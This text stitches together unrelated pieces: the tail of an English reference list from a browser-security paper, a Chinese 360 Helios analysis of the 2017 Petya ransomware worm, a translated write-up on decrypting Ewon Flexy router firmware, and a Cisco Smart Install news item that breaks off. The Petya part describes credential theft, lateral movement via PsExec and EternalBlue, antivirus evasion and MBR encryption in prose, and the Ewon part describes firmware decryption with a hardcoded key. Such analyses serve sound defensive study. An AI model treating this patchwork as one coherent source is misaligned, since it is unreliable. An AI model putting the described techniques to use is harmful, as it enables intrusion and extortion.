Verwaest. Spectre is here to stay: An analysis of side-channels and
speculative execution. arXiv preprint arXiv:1902.05178, 2019.
[158] Microsoft. JIT Spraying Never Dies - Bypass CFG By Leveraging WARP
Shader JIT Spraying. https://sites.google.com/site/bingsunsec/ WARPJIT.
[159] Microsoft. Control Flow Guard, 2015.
[160] Microsoft. Introducing windows defender application guard for microsoft
edge. https://blogs.windows.com/msedgedev/2016/09/27/ application-guard-microsoft-edge/, 2016.
[161] Microsoft. Microsoft defender application guard overview.
https://docs.microsoft.com/en- us/windows/security/threat- protection/
microsoft-defender-application-guard/md-app-guard-overview, 2021.
[162] Microsoft. Microsoft edge support for microsoft defender application
guard. https://docs.microsoft.com/en- us/deployedge/microsoft- edge- security-windows-defender-application-guard, 2021.
[163]Microsoft Defender Security Research Team. Exploit kits remain a
cybercrime staple against outdated software – 2016 threat landscape review
series. https://www.microsoft.com/security/blog/2017/01/23/exploit-kits-remain-a-cybercrime-staple-against-outdated-software-2016-threat-landscape-review-series/, 2017.
[164] Matt Miller. Mitigating arbitrary native code execution in Mi- crosoft
Edge, 2017. https://blogs.windows.com/msedgedev/2017/02/ 23/mitigating-arbitrary- native- code- execution/.
[165] Matthew R. Miller, Kenneth D. Johnson, and Timothy William Burrell.
Using virtual table protections to prevent the exploitation of object
corruption vulnerabilities.
[166] Max Moroz and Sergei Glazunov. Analysis of UXSS exploits and mitigations
in Chromium. Technical report, 2019.
[167] Mozilla. Static Analysis for Rooting and Heap Write Hazards.
https://firefox-source-docs.mozilla.org/js/HazardAnalysis/index.html.
[168] Mozilla. Spy in the sandbox - security issue related to high resolution
time api. https://bugzilla.mozilla.org/show_bug.cgi?id=1167489, 2015.
[169] Mozilla. Plugin Roadmap for Firefox. 2016.
[170] Mozilla. Changes affecting Adobe Flash on Firefox for Mac.
https://support.mozilla.org/en-US/kb/changes-affecting-adobe-flash-firefox-mac, 2018.
[171] Mozilla. Mitigations landing for new class of timing at- tack.
https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/, 2018.
[172] Mozilla. Firefox 79 for developers. https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/79#javascript, 2020.
[173] Mozilla. Security Bug Approval Process. https://firefox-source-docs.mozilla.org/bug-mgmt/processes/security-approval.html, 2020.
[174] Mozilla. Introducing site isolation in firefox.
https://blog.mozilla.org/security/2021/05/18/introducing-site-isolation-in-firefox/, 2021.
[175] Mozilla. Project fission - mozillawiki.
https://wiki.mozilla.org/Project_Fission, 2021.
[176] Mozilla. Security Bug Bounty Program. https://www.mozilla.org/en-US/security/bug-bounty/, 2021.
[177] Paul Muntean, Matthias Neumayer, Zhiqiang Lin, Gang Tan, Jens
Grossklags, and Claudia Eckert. Analyzing Control Flow Integrity with LLVM-CFI. In ACSAC19.
[178] Hoda Naghibijouybari, Ajaya Neupane, Zhiyun Qian, and Nael Abu-Ghazaleh. Rendered insecure: Gpu side channel attacks are practical. In CCS18.
[179] Yossef Oren, Vasileios P Kemerlis, Simha Sethumadhavan, and Ange- los D
Keromytis. The spy in the sandbox: Practical cache attacks in javascript and
their implications. In CCS15.
[180] Chris Paget. Exploiting design flaws in the Win32 API for privilege
escalation. White Paper, 2002.
[181] Andriy Panchenko, Fabian Lanze, Jan Pennekamp, Thomas Engel, An- dreas
Zinnen, Martin Henze, and Klaus Wehrle. Website fingerprinting at internet
scale. In NDSS16.
[182] SoyeonPark,WenXu,InsuYun,DaeheeJang,andTaesooKim.Fuzzing javascript
engines with aspect-preserving mutation. In SP20.
[183] phoenhex team. CVE-2018-4233 Exploit.
https://github.com/phoenhex/files/blob/master/exploits/ios-11.3.1/, 2018.
[184] The Chromium Project. Miracleptr aka raw_ptr aka backuprefptr.
https://chromium.googlesource.com/chromium/src/+/ddc017f9569973a731a574be4199d8400616f5a5/base/memory/raw_ptr.md,
2021.
[185] The Chromium Project. Miracleptr one pager. https:
//docs.google.com/document/d/1pnnOAIz_DMWDI4oIOFoMAqLnf_ MZ2GsrJNb_dbQ3ZBg,
2021.
[186] Charles Reis, Alexander Moshchuk, and Nasko Oskov. Site isolation:
Process separation for web sites within the browser. In USENIX Security 19.
[187] Thomas Rokicki, Clémentine Maurice, and Pierre Laperdrix. Sok: In search
of lost time: A review of javascript timers in browsers. In EuroSP21.
[188] Paul Sabanal and Mark Vincent Yason. Digging deep into the flash
sandboxes.
[189] Saelo. Attacking JavaScript Engines: A case study of JavaScriptCore and
CVE-2016-4622. http://www.phrack.org/issues/70/3.html, 2016.
[190] Saelo. Compile Your Own Type Confusions: Exploiting Logic Bugs in
JavaScript JIT Engines. http://phrack.org/issues/70/9.html, 2019.
[191] Christopher Salls, Chani Jindal, Jake Corina, Christopher Kruegel, and
Giovanni Vigna. Token-level fuzzing. In USENIX Security 21.
[192] Samuel Gro?. New Trends in Browser Exploitation: Attacking Client- Side
JIT Compilers. In Black Hat USA 18.
[193] Samuel Gro? and Project Zero. JSC Exploits.
https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html, 2019.
[194] Michael Schwarz, Moritz Lipp, and Daniel Gruss. Javascript zero: Real
javascript and zero side-channel attacks. In NDSS18.
[195] SecureList. Chrome 0-day exploit CVE-2019-13720 used in Operation
WizardOpium. https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/, 2019.
[196] SecureList. PuzzleMaker attacks with Chrome zero-day exploit chain.
https://securelist.com/puzzlemaker- chrome- zero- day- exploit- chain/102771/,
2021.
[197] Anatoly Shusterman, Daniel Genkin, Ayush Agarwal, Yossi Oren, Sioli
O’Connell, and Yuval Yarom. Prime + Probe 1, JavaScript 0: Overcoming Browser-based Side-Channel Defenses.
[198] siguza. APRR | Apple hardware secrets. https://siguza.github.io/APRR/,
2019.
[199] Payap Sirinam, Mohsen Imani, Marc Juarez, and Matthew Wright. Deep
fingerprinting: Undermining website fingerprinting defenses with deep
learning. CCS18.
[200] Stephen Smalley, Chris Vance, and Wayne Salamon. Implementing selinux as
a linux security module. NAI Labs Report.
[201] Michael Smith, Craig Disselkoen, Shravan Narayan, Fraser Brown, and
Deian Stefan. Browser history re: visited. In WOOT18.
[202] Peter Snyder, Cynthia Taylor, and Chris Kanich. Most websites don’t need
to vibrate: A cost-benefit approach to improving browser security. In CCS17.
[203] Brave Software. Brave Browser: Secure, Fast & Private Web Browser with
AdBlocker. https://brave.com, 2021.
[204] WebKit Source. Structureid randomization.
https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/StructureIDTable.h,
2021.
[205] Spring, Jonathan and Hatleback, Eric and Householder, Allen D. and
Manion, Art and Shick, Deana. Towards Improving CVSS. https:
//resources.sei.cmu.edu/library/asset-view.cfm?assetid=538368, 2018.
[206] Statcounter Global Stats. Browser Market Share Worldwide, 2021. [207]
Sven Morgenroth. Goodbye XSS Auditor. https://www.netsparker.com/blog/web-security/goodbye-xss-auditor/, 2019.
[208] Google Threat Analysis Group (TAG). How we protect users from 0-day
attacks. https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/, 2021.
[209] Microsoft Edge Team. Mitigating speculative execution side-channel
attacks in microsoft edge and internet explorer.
https://blogs.windows.com/msedgedev/2018/01/03/speculative-execution-mitigations-microsoft-edge-internet-explorer/, 2018.
[210] The Chromium Team. The Chromium Project. http://www.chromium.org/Home,
2021.
[211] ArsTechnica.Firefox0-dayinthewildisbeingusedtoattackTorusers.
https://arstechnica.com/information-technology/2016/11/firefox- 0day- used-against- tor- users- almost- identical- to- one- fbi- used- in- 2013/, 2016.
[212] The Chromium Team. Safer Usage Of C++, 2021.
[213] Inc. The Tor Project. Tor Project | Anonymity Online.
https://www.torproject.org, 2021.
[214] Trishita Tiwari and Ari Trachtenberg. Alternative (ab) uses for HTTP
Alternative Services. In WOOT19.
[215] Tom Ritter. Bug Bounty Program Updates: Adding (another) New Class of
Bounties. https://blog.mozilla.org/attack-and-defense/2020/08/18/exploit-mitigation-bounty/, 2020.
[216] Tom Van Goethem, Wouter Joosen, and Nick Nikiforakis. The clock is still
ticking: Timing attacks in the modern web. In CCS15.
[217] Tom Van Goethem, Christina P?pper, Wouter Joosen, and Mathy Vanhoef.
Timeless timing attacks: Exploiting concurrency to leak secrets over remote
connections. In USENIX Security 20.
[218] Pepe Vila and Boris K?pf. Loophole: Timing attacks on shared event loops
in chrome. In USENIX Security 17.
[219] W3C. Standards - W3C. https://www.w3.org/standards/, 2021.
[220] Junjie Wang, Bihuan Chen, Lei Wei, and Yang Liu. Superion: Grammar-aware greybox fuzzing. In ICSE19.
[221] Yong Wang. Thinking outside the JIT Compiler: Understanding and
bypassing StructureID Randomization with generic and old-school methods. In
Black Hat USA 19.
[222] Tao Wei, Tielei Wang, Lei Duan, and Jing Luo. Secure dynamic code
generation against spraying. In CCS10.
[223] WeLiveSecurity. Brave browser’s Tor mode exposed users’ dark web
activity. https://www.welivesecurity.com/2021/02/22/brave-browser-tor-mode-exposed-dark-web-activity/, 2021.
[224] WHATWG. Web Hypertext Application Technology Working Group (WHATWG).
https://whatwg.org/, 2021.
[225] Rui Wu, Ping Chen, Bing Mao, and Li Xie. Rim: A method to defend from
jit spraying attack. In ARES12.
[226] X41. X41 Browser Security White Paper. https://browser-security.x41-dsec.de/X41-Browser-Security-White-Paper.pdf, 2017.
[227] Wen Xu, Soyeon Park, and Taesoo Kim. Freedom: Engineering a state-of-the-art dom fuzzer. In CCS20.
[228] Mark Vincent Yason. Understanding the Attack Surface and Attack
Resilience of Project Spartan’s (Edge) New EdgeHTML Rendering Engine.
[229] Zhang Yunhai. Bypass control flow guard comprehensively. In Black Hat
USA 15.
[230] Google Project Zero. A very deep dive into iOS Exploit chains found in
the wild. https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html, 2019.
[231] Google Project Zero. In-the-Wild Series: Chrome Exploits.
https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html, 2021.
[232] Chao Zhang, Tao Wei, Zhaofeng Chen, Lei Duan, Laszlo Szekeres, Stephen
McCamant, Dawn Song, and Wei Zou. Practical control flow integrity and
randomization for binary executables. In SP13.
* * * | 社区文章 |
# 【权威报告】Petya勒索蠕虫完全分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
2017年6月27日晚，乌克兰、俄罗斯、印度、西班牙、法国、英国以及欧洲多国遭受大规模Petya勒索病毒袭击，该病毒远程锁定设备，然后索要赎金。其中，乌克兰地区受灾最为严重，政府、银行、电力系统、通讯系统、企业以及机场都不同程度的受到了影响，包括首都基辅的鲍里斯波尔国际机场（Boryspil
International Airport）、乌克兰国家储蓄银行（Oschadbank）、船舶公司（AP Moller-Maersk）、俄罗斯石油公司（Rosneft）和乌克兰一些商业银行以及部分私人公司、零售企业和政府系统都遭到了攻击。
此次黑客使用的是Petya勒索病毒的变种，使用的传播攻击形式和WannaCry类似，但该病毒除了使用了永恒之蓝（MS17-010）漏洞，还罕见的使用了黑客的横向渗透攻击技术。在勒索技术方面与WannaCry等勒索软件不同之处在于，Petya木马主要通过加密硬盘驱动器主文件表（MFT），使主引导记录（MBR）不可操作，通过占用物理磁盘上的文件名、大小和位置的信息来限制对完整系统的访问，从而让电脑无法启动，故而其影响更加严重。如果想要恢复，需要支付价值相当于300美元的比特币。
由于这次攻击有很强的定向性，所以目前欧洲被感染的受害者较多。目前国内感染量较少，但是考虑到其横向攻击传播能力，未来存在较高风险在国内传播。
**Petya老样本简介**
2016年4月，敲诈勒索类木马Petya被安全厂商曝光，被称作是第一个将敲诈和修改MBR合二为一的恶意木马。木马Petya的主要特点是会先修改系统MBR引导扇区，强制重启后执行MBR引导扇区中的恶意代码，加密受害者硬盘数据后显示敲诈信息，并通过Tor匿名网络索取比特币。
Petya与其他流行的勒索软件的不同点在于，Petya不是逐个加密文件，而是通过攻击磁盘上的低级结构来拒绝用户访问完整的系统。这个敲诈勒索木马的作者不仅创建了自己的引导加载程序，还创建了一个32个扇区长的小内核。
Petya的木马释放器会将恶意代码写入磁盘的开头。被感染的系统的主引导记录（MBR）将被加载一个小型恶意内核的自定义引导加载程序覆盖，然后该内核会进一步加密。
Petya的敲诈信息显示其加密了整个磁盘，但这只是木马作者放出的烟雾弹，事实上，Petya只是加密了主文件表（MFT），使文件系统不可读，来拒绝用户访问完整的系统。
图 1 Petya的敲诈信息
**Petya新样本详细介绍**
病毒样本类型为DLL，有一个导出序号为1的函数。当这个函数被调用时，首先尝试提升当前进程的权限并设置标记，查找是否有指定的安全软件，后面会根据是否存在指定的安全软件跳过相应的流程。绕过安全软件的行为监控。
接下来修改磁盘的MBR，并将生成的Key，IV，比特币支付地址以及用户序列号写入磁盘的固定扇区。然后创建计划任务于1小时后重启。遍历局域网可以连通的ip列表，用于后续的局域网攻击。释放并执行抓取密码的进程，释放psexec进程用于后续执行远程命令。对系统的网络资源列表进行过滤，筛选本地保存的凭据，使用保存的凭据连接，成功后执行远程命令，进行局域网感染。
下一步生成随机ip，连接445端口进行永恒之蓝漏洞攻击。然后遍历磁盘，对指定扩展名的文件进行加密。执行完所有流程后，清除日志并强行重启。
图 2总体流程图
**Petya勒索蠕虫感染传播趋势分析**
自6月27日在欧洲爆发的起，Petya勒索病毒在短时间内袭击了多国。
根据360互联网安全中心的监测，对每一个小时的远程攻击进程的主防拦截进行了统计。从6月28号0点至6月28日晚上7点整，平均每小时攻击峰值在5000次以内。上午10点攻击拦截达到最高峰，后缓慢波动，在14点达到一个小高峰，然后攻击频率开始缓慢下降。由此可见，Petya的攻击趋势在国内并不呈现几何级增长的趋势，而是缓慢下降的，并不具备进一步泛滥的趋势。
图 3 攻击频率
除乌克兰、俄罗斯、印度、西班牙、法国、英国以及欧洲多国遭受大规模的Petya攻击外，我国也遭受了同样的攻击。针对我国的攻击，主要集中在北京、上海、广州、深圳、香港等大城市，根据360互联网安全中心的监测，在全中国八十多个城市拦截到了攻击。
**Petya横向移动及传播技术分析**
**1、 提升权限，设置执行标记**
首先，Petya病毒会尝试提升当前进程的3种权限：SeShutdownPrivilege、SeDebugPrivilege和SeTcbPrivilege，根据是否成功设置标记，后面执行相应的流程时会判断此标记，以防没有权限时系统报错。
然后，通过CreateToolhelp32Snapshot枚举系统进程，判断是否有指定的安全软件，并设置标记。
枚举过程中，通过将进程名称进行异或计算得出一个值，将该值与预设的值进行比较，此处病毒是在寻找特定名称的进程，通过对算法进行逆向还原，我们找出预设值对应的进程名称：
当存在NS.exe(诺顿)或ccSvcHst.exe(诺顿)进程时，不执行漏洞感染流程。
当存在avp.exe(卡巴斯基)进程时，不执行MBR感染流程。
**2、MBR修改**
获取分区类型，当为MBR格式时执行修改MBR流程。
随后，Petya将修改机器的MBR，具体流程如下：
1）通过微软的CryptoAPI生成长度为 60 字节的随机数
对生成的随机数对58进行取模，取模后的值作为下述数组的索引
123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz，生成勒索界面显示的序列号
2）将病毒内置的MBR写入，长度为0x13个扇区
3）将随机生成的key，IV，硬编码的比特币支付地址以及用户序列号写入磁盘第0x20个扇区
**
**
**3、设置重启计划任务**
创建计划任务，设定当前时间1小时后重启计算机。
重启之后将执行病毒的MBR，加密扇区。
**
**
**4、遍历IP**
首先，Petya检查被感染的机器是否为Server或者域控服务器
当检测到主机为服务器或者域控时，会枚举该主机DHCP已分配的IP信息，保存在列表中用于网络攻击。
**5、释放并运行资源**
进程首先从资源中解压缩ID为1的资源，在系统的%TEMP%目录下生成一个临时文件。
随后程序启动线程尝试连接特定的命名管道并读取数据，随后将该临时文件作为进程启动，并且等待1分钟。
对启动的临时文件进行分析，其代码功能与mimikatz，一款Windows下抓取密码的工具类似，Petya通过命名管道从该工具进程中获取本机账户密码。
之后程序加载资源序号3并且解压缩，首先获取系统文件夹目录，若失败则获取%APPDATA%目录，并将解压后的资源命名为dllhost.dat写入到该目录下。
dllhost.dat的本质为PsExec.exe，是一款属于sysinternals套件的远程命令执行工具，带有合法的签名。
**6、枚举网络资源**
接下来，病毒遍历所有连接过的网络资源，从中筛选类型为TERMSRV的凭据保存。
接下来尝试使用保存的凭据连接网络资源
连接成功则执行下列命令：
该命令将在目标主机上执行rundll32。exe调用自身dll的第1个导出函数，完成局域网感染功能。
**7、使用永恒之蓝漏洞攻击**
接下来，启动线程进行永恒之蓝漏洞攻击。
病毒使用异或的方式加密了部分数据包，在内存中重构后发送数据包，这样就避免了杀毒软件的静态查杀。
**8、文件加密**
Petya采用RSA2048 +
AES128的方式对文件进行加密，程序中硬编码RSA公钥文件，每一个盘符会生成一个AES128的会话密钥，该盘符所有文件均对该AES Key进行加密。
**9、清除日志并重启**
执行完加密文件和网络传播流程后，病毒将清除Windows系统日志并强制重启。重启后将执行病毒写入的MBR并加密磁盘。加密完成后显示勒索信息并等待用户输入key。
**Petya勒索加密技术分析**
**1、 篡改MBR**
当系统重启后，执行病毒的MBR，伪装成CHKDSK进行加密磁盘，加密完成后弹出敲诈信息对用户进行敲诈。
图 4 Petya敲诈信息
下面，我们来对修改后的MBR进行分析:
1）读取第20个扇区判断是否已经加密，执行相应流程
2）加密流程，读取病毒配置信息， 病毒加密用的key存在第0x20个扇区
3）设置已经加密的标志位，并把配置信息中的key清0， 写回磁盘第20扇区
4）使用用户输入的key尝试解密
**2、加密文件**
勒索木马Petya采用RSA2048 +
AES128的方式对文件进行加密，程序中硬编码RSA公钥文件，针对每一个盘符都会生成一个AES128的会话密钥，该盘符所有文件均对该AES Key进行加密。
根据后缀名对相关文件进行分类，涉及的文件格式如下表：
_“.3ds “,”.7z “,”.accdb “,”.ai “,”.asp “,”.aspx “,”.avhd “,”.back “,”.bak
“,”.c “,”.cfg “,”.conf “,”.cpp “,”.cs “,”.ctl “,”.dbf “,”.disk “,”.djvu
“,”.doc “,”.docx “,”.dwg “,”.eml “,”.fdb “,”.gz “,”.h “,”.hdd “,”.kdbx
“,”.mail “,”.mdb “,”.msg “,”.nrg “,”.ora “,”.ost “,”.ova “,”.ovf “,”.pdf
“,”.php “,”.pmf “,”.ppt “,”.pptx “,”.pst “,”.pvi “,”.py “,”.pyc “,”.rar
“,”.rtf “,”.sln “,”.sql “,”.tar “,”.vbox “,”.vbs “,”.vcb “,”.vdi “,”.vfd
“,”.vmc “,”.vmdk “,”.vmsd “,”.vmx “,”.vsdx “,”.vsv “,”.work “,”.xls “,”.xlsx
“,”.xvd “,”.zip “_
Petya的加密流程如下图：
图 5 加密流程
1）启动加密文件线程
2）递归枚举目录并加密
3）写入Readme .txt文件
Readme .txt文件中包含比特币支付地址。
**Petya勒索杀毒软件攻防分析**
在提权阶段，Petya会通过CreateToolhelp32Snapshot枚举系统进程，判断是否有指定的安全软件，并设置标记。枚举过程中，通过将进程名称进行异或计算得出一个值，并将该值与预设的值进行比较，可见此处Petya是在寻找特定名称的进程。
通过分析，我们确认Petya主要针对杀毒软件诺顿和卡巴斯基进行了反检测处理。
1、当存在NS.exe(诺顿)或ccSvcHst.exe(诺顿)进程时，不执行漏洞感染流程。
2、当存在avp.exe(卡巴斯基)进程时，不执行MBR感染流程。
**缓解措施建议**
针对Petya勒索软件，360追日团队提醒广大用户警惕防范，我们建议用户采取以下措施以保障系统安全：
1、保证系统的补丁已升级到最新，修复永恒之蓝(ms17-010）漏洞。
2、临时关闭系统的WMI服务和删除admin$共享，阻断蠕虫的横向传播方式。具体操作为，右键cmd.exe"以管理员身份运行"，输入如下命令：
net stop winmgmt
net share admin$ /delete
3、如若不幸中招，也可以采取一些措施来减小损失。
由于在感染Petya的过程中，病毒会先重启电脑加载恶意的磁盘主引导记录（MBR）来加密文件，这中间会启用一个伪造的加载界面。中招者如果能感知到重启异常，在引导界面启动系统前关机或拔掉电源，随后可以通过设置U盘或光盘第一顺序启动PE系统，使用PE系统修复MBR或者直接转移硬盘里的数据，可以在一定程度上避免文件的损失。
**总结**
Petya勒索病毒早已被安全厂商披露，而此次Petya卷土重来，肆虐欧洲大陆在于其利用了已知的OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术，使得病毒可以在短时间内呈暴发态势。另一方面，Petya木马主要通过加密硬盘驱动器主文件表（MFT），使主引导记录（MBR）不可操作，通过占用物理磁盘上的文件名、大小和位置的信息来限制对完整系统的访问，从而让电脑无法启动，相较普通勒索软件对系统更具破坏性。
自5月份WannaCry勒索病毒爆发后，中国用户已经安装了上述漏洞的补丁，同时360安全卫士具备此次黑客横向攻击的主动防御拦截技术，故而并没有为Petya勒索病毒的泛滥传播提供可乘之机。
**360追日团队（Helios Team）**
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
已公开APT相关研究成果
[](https://p4.ssl.qhimg.com/t01145db6017e6d3037.png)
联系方式
邮箱：[email protected]
微信公众号：360追日团队
扫描下方二维码关注微信公众号
[](https://p5.ssl.qhimg.com/t016b2dd452d92d8e0f.png) | 社区文章 |
# 深入分析Ewon Flexy物联网路由器（下）
|
##### 译文声明
本文是翻译文章，文章原作者 pentestpartners，文章来源：pentestpartners.com
原文地址：<https://www.pentestpartners.com/security-blog/ewon-flexy-iot-router-a-deep-dive/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0B 逆向分析Ewon文件
根据之前的截图，我们无法在NAND
Flash转储文件中找到太多信息。我希望系统会使用预设的工具（如apache2、lighthttpd或者nginx）来设置web接口，或者使用vsftpd及其他解决方案来设置FTP服务。幸运的是，当开发者决定使用自己定制的服务版本时，可能会忽略掉许多安全功能或者保护措施。
逆向分析二进制文件时，我们很自然就会搜索其中包含的字符串。
我在文件中简单`grep`搜索某些字符串，比如`password`、`pass`以及`private`，回头我们再来分析搜索出的结果。
利用IDA Pro分析二进制文件，获取反汇编代码。结果并不是特别完美，但至少能给出一些信息。
首先我想澄清的就是配置文件中加密存储的值（VPN秘钥、密码）。
一番搜索后，我找到了一个函数：`cfgcrypt_DecryptCfgStr`。
该函数在IDA中的布局图如下：
详细布局如下：
在Dave小伙伴（人形自走反汇编器）的帮助下，我们发现`#_1_`可以表示正在使用的是什么加密算法。
此外，在Ewon的`comcfg.txt`文件中有一项设置：`CryptMode:1`，刚好与我们的判断相符。
此时我们还没有看到配置文件中有其他可变值，但相信我们的研究方向没有问题，因为Ewon二进制文件中硬编码了许多相同的秘钥及IV（初始向量）。
如果`CryptModd`设置`>2`的值，那么函数就会输出错误消息，将这个值设置为`0`。
我认为如果是`#_0_`，那么设备就会使用`blowfish`加密算法，我们也拿到了算法所使用的秘钥及IV，然而这里设备使用的是`#_1_`。
那么`#_1_`的具体代表的是什么？
固件中有个`cfgcrypt_CheckCryptmode`函数，该函数会检查加密字符串的头部，根据头部值返回一个结果值。
然而设备永远不会调用这个函数，这一点比较奇怪，但`cfgcrypt_DecryptCfgStr`函数中有一个相似的代码结构。
似乎设备会在多个地方复用代码。
最终所有的加密及解密函数都会汇聚到`ctr_encrypt`函数。
`ctr_decrypt`函数代码如下：
这里我不会讨论具体细节，只需要知道`ctr_encrypt`代码中包含一个XOR函数。
## 0x0C 逆向分析固件
一开始我就被固件困住了脚步，我们可以从Ewon官网上下载到这个 固件：
当想详细分析固件时，我们发现固件经过加密处理：
文件头部较为清晰，包含版本号、发布时间等都以明文表示，但后面就是一些看不懂的数据。
因此回到Ewon二进制文件，查找引用了固件文件名的部分数据。
首先我们可以找到对SD卡的引用：
因此，如果SD卡上存在固件，那么设备就会尝试更新。这一点非常正常，然而根据用户文档，我们可以将`ewonfwr.ed`文件上传到FTP（如果通过身份认证的话），随后Ewon就会根据需要处理固件。
我在固件文件中搜索满足这些处理逻辑的内容，最终找到了一个函数：`loem_UncryptFile`。该函数似乎会打开一个文件，然后调用解密函数。
Ewon程序会检查固件文件是否已上传到ftp服务器或者SD卡中，加载manifest信息（检查固件版本、日期等），然后解密固件文件及数据。
固件加密基于Blowfish算法（程序中大量引用了这个算法），并且程序中硬编码了加密秘钥。
非常棒，那么我们再次回到固件文件。
查看数据后，我判断加密数据从`0x0140h`开始，直到文件结尾。将这部分内容拷贝出来，尝试使用程序内置的秘钥进行解密。
我们的确能解出一些数据，但似乎只能解密一半数据，这一点非常奇怪，但至少我们的方向没有错。
回到二进制程序中，似乎程序会使用这个IV，在升级前备份固件，那么这个IV究竟在哪？
Dave又站了出来，提示我如果这个值不在程序中，那么很有可能在固件中，这一点非常正常。
再次回到固件上，查找头部数据。我们来寻找可以使用的8bit据流。删除加密后的无关信息后，我们留下了一部分数据，比较明显的8bit数据流就位于数据末尾（下图高亮部分）：
将这个值输入python脚本中，观察运行结果：
现在我们终于解出完整数据。
来观察文件系统，特别是`update.sh`文件：
这里似乎出现了很多文件，但实际上只是NAND Flash转储数据中Ewon的`/opt`目录，因此这里并没有什么新的信息。
再来观察`update.sh`：
非常好，来具体看一下程序的处理逻辑，能否找到有趣的点：
我看到可能存在命令执行点！
我修改了`update.sh`，重新生成固件，然后设置成高版本后重新上传该固件：
令人失望的是，这种方法无法奏效。似乎设备会对该文件执行CRC校验，因为我们在Ewon日志中找到了“riftp-Invalid checksum”错误：
再次回到程序逻辑上来：
这里包含一个CRC16x2校验。我不能百分版确定校验针对的是固件的加密数据，还是针对加密前的squashfs数据。
来对比两个固件版本。我将两个文件中共同的部分设置为相同值，以减少文件存在的差异：
上图中红色部分数据就是头部中存在差异的数据。
进一步分析后，我看到两个文件中红色区域仍有一些相似性：
在固件文件的加密数据上执行一些CRC校验操作，看我们能否在头部中找到相关的信息：
Ver 13_2s1 = 8.433 mb (Latest)
CRC16 (encrypted blob) = AF3C
CRC32 (encrypted blob) = F388096F
Ver 13_0s0 = 12,589 mb (Not Latest)
CRC16 (encrypted blob) = A65D
CRC32 (encrypted blob) = 259BC946
似乎有所收获！
这正是加密数据对应的CRC32值！正是在头部文件中！在`0x00B0`处！我们来稍微修改一下，看一下改动后的校验结果：
好吧，还是有些地方不对。
让我们再次回到Ewon程序中。当在程序中搜索时，我发现有个函数会涉及到一些头部数据：
这里`riftp_EDFHeaderPtr`是固件文件的开头处，因此为`0`。
在144行，代码会比较`rfiftp_EDFHeaderPtr + 16`的值，判断这个值是否等于`v10`（CRC16 x 2校验值）。
比较困惑我（和其他小伙伴）的一个点就是CRC校验函数。从二进制代码中，我们知道（或者至少认为）程序正在计算加密数据块的CRC16x2校验值，但具体计算逻辑如下：
Dave和我决定重新CRC16x2函数，看一下能得到什么结果：
虽然我们得到的结果不大一样，但我们认为已经非常接近事实真相了。
此外我们还对固件文件进行暴力尝试，想看看是否有任何数据与头部中存储的值相匹配：
不幸的是，这也是我们研究的终点，不能再进一步。
我们尝试了各种不同的CRC16校验方法，不同的xor位等，但得不到更进一步的结果，无法匹配`0xA8`处的值。
这个过程中我们使用了[pycrc](https://pycrc.org/models.html)，这款工具非常强大，帮我们省了不少功夫。
## 0x0D 披露时间线
2019-01-29 首次联系Ewon反馈漏洞
2019-02-04 官方确认漏洞并预估处理时间节点
2019-02-11 PTP与Ewon都认为处理周期有点长
2019-05-23 在最终披露前进行协商
2019-05-28 Ewon反馈并提供测试固件
2019-06-04 Ewon披露相关公告
2019-06-18
PTP披露相关公告，现在大家可以在[此处](https://websupport.ewon.biz/support/product/manual-firmware-update/manual-firmware-download)下载更新版的FW 13.3s0
我们在2019年1月29日向EWon Flexy的制造商HMS Networks报告了相关情况。整个过程略微曲折，但最终官方确认并修复了漏洞，这里不再赘述。
## 0x0E 缓解措施及建议
### 用户角度
不要将Ewon Flexy（或者任何ICS设备）放在公开互联网中，这会引来不必要的麻烦。
记得修改默认凭据。
分段规划IT及OT网络，部署适当的访问控制机制。
### 厂商角度
HMS有一个安全远程访问解决方案：[Talk2M](https://www.ewon.biz/cloud-services/talk2m)，应该能缓解这个问题。
我们还没测试过Talk2M，无法发表关于安全性方面的意见，但添加一个防御层始终不算坏事。有空时我会分析一下新的固件。
修复bug后的新固件可从[此处](https://websupport.ewon.biz/support/product/download-firmware/ewon-firmware-0)下载。
### 我们的建议
更新Ewon Flexy固件，升级到最新版。
同时记得更新所有的工控系统。如果无法更新ICS（版本太老、官方不再支持或者过于关键无法改动），可以考虑针对性部署额外的安全控制机制。
## 0x0F 总结
我不想草草结束这篇文章，回头我会发表第二篇分析文章。
整个研究过程比较曲折，我个人也学到了许多知识。现在我非常喜欢IDA，但我使用Ghidra的次数越来越多（这是款免费产品，某些地方更加方便）。
Ewon Flexy是一款非常不错的设备，这个研究过程也是我自己想看一下我的能力范围，还有哪些地方需要提高等。
如果我成功构造出能够正常工作的固件，那么后续会有更多研究成果可以公布。 | 社区文章 |
# 思科 SMI 协议中又现漏洞 美国关键基础设施已遭攻击
##### 译文声明
本文是翻译文章，文章原作者 Catalin Cimpanu;Lawrence Abrams
原文地址：<https://www.bleepingcomputer.com/news/security/cyber-attacks-on-us-critical-infrastructure-linked-to-cisco-switch-flaw/
https://www.bleepingcomputer.com/news/security/iranian-and-russian-networks-attacked-using-ciscos-cve-2018-0171-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
**4** **月** **5** **日，思科** **Talos** **团队指出黑客正在滥用配置不当的思科交换机获取对全球各地组织机构的入口点。**
思科 Talos 团队表示，其中一些入侵尝试和美国国土安全局于今年3月中旬发布的一份警告信息相关。US-CERT
在安全公告中曾警告称，“俄罗斯国家网络行动者”针对并渗透进美国能源网和其它基础设施网络发动攻击。
